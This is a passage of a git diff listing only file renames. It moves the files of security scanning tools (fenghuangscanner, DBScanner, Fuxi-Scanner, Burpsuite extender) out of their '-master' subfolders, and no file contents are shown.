fenghuangscanner/{fenghuangscanner_v3-master => }/conf/snmp.conf (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/ssh.conf (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/tomcat.conf (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/vnc.conf (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/conf/web.conf (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/factorys/__init__.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/factorys/__init__.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/factorys/pluginFactory.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/factorys/pluginFactory.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/main.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/.DS_Store (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/__init__.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/__init__.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/ftp.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/ftp.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/ldapd.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/ldapd.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/mongodb.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/mongodb.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/mssql.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/mssql.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/mysql.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/mysql.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/ndr.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/pop3.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/pop3.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/postgres.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/postgres.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/printers.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/redisexp.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/redisexp.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/rsync.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/rsync.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/rsynclib.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/rsynclib.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/rsyncs.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/smb.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/smb.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/snmp.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/snmp.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/ssh.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/ssh.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/ssltest.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/ssltest.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/tomcat.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/vnc.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/vnc.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/vnclib.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/vnclib.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/web.py (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/plugins/web.pyc (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/requirements.txt (100%) rename fenghuangscanner/{fenghuangscanner_v3-master => }/result/.DS_Store (100%) diff --git a/burp/Extender b/Burpsuite/Extender similarity index 100% rename from burp/Extender rename to Burpsuite/Extender diff --git a/burp/下载链接.txt b/Burpsuite/下载链接.txt similarity index 100% rename from burp/下载链接.txt rename to Burpsuite/下载链接.txt diff --git a/DBScanner/DBScanner-master/.gitignore b/DBScanner/.gitignore similarity index 100% rename from DBScanner/DBScanner-master/.gitignore rename to DBScanner/.gitignore diff --git a/DBScanner/DBScanner-master/LICENSE b/DBScanner/LICENSE similarity index 100% rename from DBScanner/DBScanner-master/LICENSE rename to DBScanner/LICENSE diff --git a/DBScanner/DBScanner-master/README.md b/DBScanner/README.md similarity index 100% rename from DBScanner/DBScanner-master/README.md rename to DBScanner/README.md diff --git a/DBScanner/DBScanner-master/about oracle.txt b/DBScanner/about oracle.txt similarity index 100% rename from DBScanner/DBScanner-master/about oracle.txt rename to DBScanner/about oracle.txt diff --git a/DBScanner/DBScanner-master/dbscan.py b/DBScanner/dbscan.py similarity index 100% rename from DBScanner/DBScanner-master/dbscan.py rename to DBScanner/dbscan.py diff --git a/DBScanner/DBScanner-master/scan.png b/DBScanner/scan.png similarity index 100% rename from DBScanner/DBScanner-master/scan.png rename to DBScanner/scan.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/.gitattributes b/Fuxi-Scanner/.gitattributes similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/.gitattributes rename to Fuxi-Scanner/.gitattributes diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/.gitignore b/Fuxi-Scanner/.gitignore similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/.gitignore rename to Fuxi-Scanner/.gitignore diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/LICENSE b/Fuxi-Scanner/LICENSE similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/LICENSE rename to Fuxi-Scanner/LICENSE diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/README.md b/Fuxi-Scanner/README.md similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/README.md rename to Fuxi-Scanner/README.md diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/INSTALL.en.md b/Fuxi-Scanner/doc/INSTALL.en.md similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/INSTALL.en.md rename to Fuxi-Scanner/doc/INSTALL.en.md diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/INSTALL.zh.md b/Fuxi-Scanner/doc/INSTALL.zh.md similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/INSTALL.zh.md rename to Fuxi-Scanner/doc/INSTALL.zh.md diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/README.zh.md b/Fuxi-Scanner/doc/README.zh.md similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/README.zh.md rename to Fuxi-Scanner/doc/README.zh.md diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_acunetix_new_scan.png b/Fuxi-Scanner/doc/images/fuxi_acunetix_new_scan.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_acunetix_new_scan.png rename to Fuxi-Scanner/doc/images/fuxi_acunetix_new_scan.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_asset_new.png b/Fuxi-Scanner/doc/images/fuxi_asset_new.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_asset_new.png rename to Fuxi-Scanner/doc/images/fuxi_asset_new.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_asset_service_search.png b/Fuxi-Scanner/doc/images/fuxi_asset_service_search.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_asset_service_search.png rename to Fuxi-Scanner/doc/images/fuxi_asset_service_search.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_auth_new_scan.png b/Fuxi-Scanner/doc/images/fuxi_auth_new_scan.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_auth_new_scan.png rename to Fuxi-Scanner/doc/images/fuxi_auth_new_scan.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_dashboard.png b/Fuxi-Scanner/doc/images/fuxi_dashboard.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_dashboard.png rename to Fuxi-Scanner/doc/images/fuxi_dashboard.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_domain_list.png b/Fuxi-Scanner/doc/images/fuxi_domain_list.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_domain_list.png rename to Fuxi-Scanner/doc/images/fuxi_domain_list.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_domain_new_scan.png b/Fuxi-Scanner/doc/images/fuxi_domain_new_scan.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_domain_new_scan.png rename to Fuxi-Scanner/doc/images/fuxi_domain_new_scan.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_poc_new_scan.png b/Fuxi-Scanner/doc/images/fuxi_poc_new_scan.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_poc_new_scan.png rename to Fuxi-Scanner/doc/images/fuxi_poc_new_scan.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_poc_plugin_management.png b/Fuxi-Scanner/doc/images/fuxi_poc_plugin_management.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_poc_plugin_management.png rename to Fuxi-Scanner/doc/images/fuxi_poc_plugin_management.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_port_scanner.png b/Fuxi-Scanner/doc/images/fuxi_port_scanner.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_port_scanner.png rename to Fuxi-Scanner/doc/images/fuxi_port_scanner.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_settings.png b/Fuxi-Scanner/doc/images/fuxi_settings.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_settings.png rename to Fuxi-Scanner/doc/images/fuxi_settings.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/__init__.py b/Fuxi-Scanner/fuxi/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/__init__.py rename to Fuxi-Scanner/fuxi/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/app.py b/Fuxi-Scanner/fuxi/app.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/app.py rename to Fuxi-Scanner/fuxi/app.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/dropzone.css b/Fuxi-Scanner/fuxi/static/css/dropzone.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/dropzone.css rename to Fuxi-Scanner/fuxi/static/css/dropzone.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/duallistbox/bootstrap-duallistbox.css b/Fuxi-Scanner/fuxi/static/css/duallistbox/bootstrap-duallistbox.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/duallistbox/bootstrap-duallistbox.css rename to Fuxi-Scanner/fuxi/static/css/duallistbox/bootstrap-duallistbox.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/duallistbox/bootstrap-multiselect.css b/Fuxi-Scanner/fuxi/static/css/duallistbox/bootstrap-multiselect.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/duallistbox/bootstrap-multiselect.css rename to Fuxi-Scanner/fuxi/static/css/duallistbox/bootstrap-multiselect.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/css/font-awesome.css b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/css/font-awesome.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/css/font-awesome.css rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/css/font-awesome.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/FontAwesome.otf b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/FontAwesome.otf similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/FontAwesome.otf rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/FontAwesome.otf diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.eot b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.eot similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.eot rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.eot diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/main.css b/Fuxi-Scanner/fuxi/static/css/main.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/main.css rename to Fuxi-Scanner/fuxi/static/css/main.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/download/test b/Fuxi-Scanner/fuxi/static/download/test similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/download/test rename to Fuxi-Scanner/fuxi/static/download/test diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/bootstrap/bootstrap-multiselect.js b/Fuxi-Scanner/fuxi/static/js/bootstrap/bootstrap-multiselect.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/bootstrap/bootstrap-multiselect.js rename to Fuxi-Scanner/fuxi/static/js/bootstrap/bootstrap-multiselect.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/bootstrap/bootstrap.min.js b/Fuxi-Scanner/fuxi/static/js/bootstrap/bootstrap.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/bootstrap/bootstrap.min.js rename to Fuxi-Scanner/fuxi/static/js/bootstrap/bootstrap.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/jquery/jquery-3.2.1.min.js b/Fuxi-Scanner/fuxi/static/js/jquery/jquery-3.2.1.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/jquery/jquery-3.2.1.min.js rename to Fuxi-Scanner/fuxi/static/js/jquery/jquery-3.2.1.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/jquery/jquery.bootstrap-duallistbox.js b/Fuxi-Scanner/fuxi/static/js/jquery/jquery.bootstrap-duallistbox.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/jquery/jquery.bootstrap-duallistbox.js rename to Fuxi-Scanner/fuxi/static/js/jquery/jquery.bootstrap-duallistbox.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/main.js b/Fuxi-Scanner/fuxi/static/js/main.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/main.js rename to Fuxi-Scanner/fuxi/static/js/main.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/Chart.js b/Fuxi-Scanner/fuxi/static/js/plugins/Chart.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/Chart.js rename to Fuxi-Scanner/fuxi/static/js/plugins/Chart.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/FeedEk.js b/Fuxi-Scanner/fuxi/static/js/plugins/FeedEk.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/FeedEk.js rename to Fuxi-Scanner/fuxi/static/js/plugins/FeedEk.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/bootstrap-datetimepicker.js b/Fuxi-Scanner/fuxi/static/js/plugins/bootstrap-datetimepicker.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/bootstrap-datetimepicker.js rename to Fuxi-Scanner/fuxi/static/js/plugins/bootstrap-datetimepicker.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/dataTables.bootstrap.min.js b/Fuxi-Scanner/fuxi/static/js/plugins/dataTables.bootstrap.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/dataTables.bootstrap.min.js rename to Fuxi-Scanner/fuxi/static/js/plugins/dataTables.bootstrap.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/dropzone.js b/Fuxi-Scanner/fuxi/static/js/plugins/dropzone.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/dropzone.js rename to Fuxi-Scanner/fuxi/static/js/plugins/dropzone.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/jquery.dataTables.min.js b/Fuxi-Scanner/fuxi/static/js/plugins/jquery.dataTables.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/jquery.dataTables.min.js rename to Fuxi-Scanner/fuxi/static/js/plugins/jquery.dataTables.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/laydate.js b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/laydate.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/laydate.js rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/laydate.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.eot b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.eot similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.eot rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.eot diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.svg b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.svg similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.svg rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.svg diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.ttf b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.ttf similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.ttf rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.ttf diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.woff b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.woff similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.woff rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.woff diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/laydate.css b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/laydate.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/laydate.css rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/laydate.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/pace.min.js b/Fuxi-Scanner/fuxi/static/js/plugins/pace.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/pace.min.js rename to Fuxi-Scanner/fuxi/static/js/plugins/pace.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/select2.min.js b/Fuxi-Scanner/fuxi/static/js/plugins/select2.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/select2.min.js rename to Fuxi-Scanner/fuxi/static/js/plugins/select2.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/sweetalert/sweetalert.min.js b/Fuxi-Scanner/fuxi/static/js/plugins/sweetalert/sweetalert.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/sweetalert/sweetalert.min.js rename to Fuxi-Scanner/fuxi/static/js/plugins/sweetalert/sweetalert.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/popper.min.js b/Fuxi-Scanner/fuxi/static/js/popper.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/popper.min.js rename to Fuxi-Scanner/fuxi/static/js/popper.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/acunetix-scanner.js b/Fuxi-Scanner/fuxi/static/js/server/acunetix-scanner.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/acunetix-scanner.js rename to Fuxi-Scanner/fuxi/static/js/server/acunetix-scanner.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/asset-management.js b/Fuxi-Scanner/fuxi/static/js/server/asset-management.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/asset-management.js rename to Fuxi-Scanner/fuxi/static/js/server/asset-management.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/asset-services-list.js b/Fuxi-Scanner/fuxi/static/js/server/asset-services-list.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/asset-services-list.js rename to Fuxi-Scanner/fuxi/static/js/server/asset-services-list.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/auth-tester-tasks.js b/Fuxi-Scanner/fuxi/static/js/server/auth-tester-tasks.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/auth-tester-tasks.js rename to Fuxi-Scanner/fuxi/static/js/server/auth-tester-tasks.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/checkbox.js b/Fuxi-Scanner/fuxi/static/js/server/checkbox.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/checkbox.js rename to Fuxi-Scanner/fuxi/static/js/server/checkbox.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/dashboard.js b/Fuxi-Scanner/fuxi/static/js/server/dashboard.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/dashboard.js rename to Fuxi-Scanner/fuxi/static/js/server/dashboard.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-asset.js b/Fuxi-Scanner/fuxi/static/js/server/new-asset.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-asset.js rename to Fuxi-Scanner/fuxi/static/js/server/new-asset.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-auth-tester.js b/Fuxi-Scanner/fuxi/static/js/server/new-auth-tester.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-auth-tester.js rename to Fuxi-Scanner/fuxi/static/js/server/new-auth-tester.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-scan.js b/Fuxi-Scanner/fuxi/static/js/server/new-scan.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-scan.js rename to Fuxi-Scanner/fuxi/static/js/server/new-scan.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/plugin-management.js b/Fuxi-Scanner/fuxi/static/js/server/plugin-management.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/plugin-management.js rename to Fuxi-Scanner/fuxi/static/js/server/plugin-management.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/port-scanner.js b/Fuxi-Scanner/fuxi/static/js/server/port-scanner.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/port-scanner.js rename to Fuxi-Scanner/fuxi/static/js/server/port-scanner.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/search.js b/Fuxi-Scanner/fuxi/static/js/server/search.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/search.js rename to Fuxi-Scanner/fuxi/static/js/server/search.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/settings.js b/Fuxi-Scanner/fuxi/static/js/server/settings.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/settings.js rename to Fuxi-Scanner/fuxi/static/js/server/settings.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/subdomain-brute.js b/Fuxi-Scanner/fuxi/static/js/server/subdomain-brute.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/subdomain-brute.js rename to Fuxi-Scanner/fuxi/static/js/server/subdomain-brute.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/subdomain-list.js b/Fuxi-Scanner/fuxi/static/js/server/subdomain-list.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/subdomain-list.js rename to Fuxi-Scanner/fuxi/static/js/server/subdomain-list.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/task-management.js b/Fuxi-Scanner/fuxi/static/js/server/task-management.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/task-management.js rename to Fuxi-Scanner/fuxi/static/js/server/task-management.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/update.js b/Fuxi-Scanner/fuxi/static/js/server/update.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/update.js rename to Fuxi-Scanner/fuxi/static/js/server/update.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/vulnerability.js b/Fuxi-Scanner/fuxi/static/js/server/vulnerability.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/vulnerability.js rename to Fuxi-Scanner/fuxi/static/js/server/vulnerability.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/week-passwd-list.js b/Fuxi-Scanner/fuxi/static/js/server/week-passwd-list.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/week-passwd-list.js rename to Fuxi-Scanner/fuxi/static/js/server/week-passwd-list.js diff --git 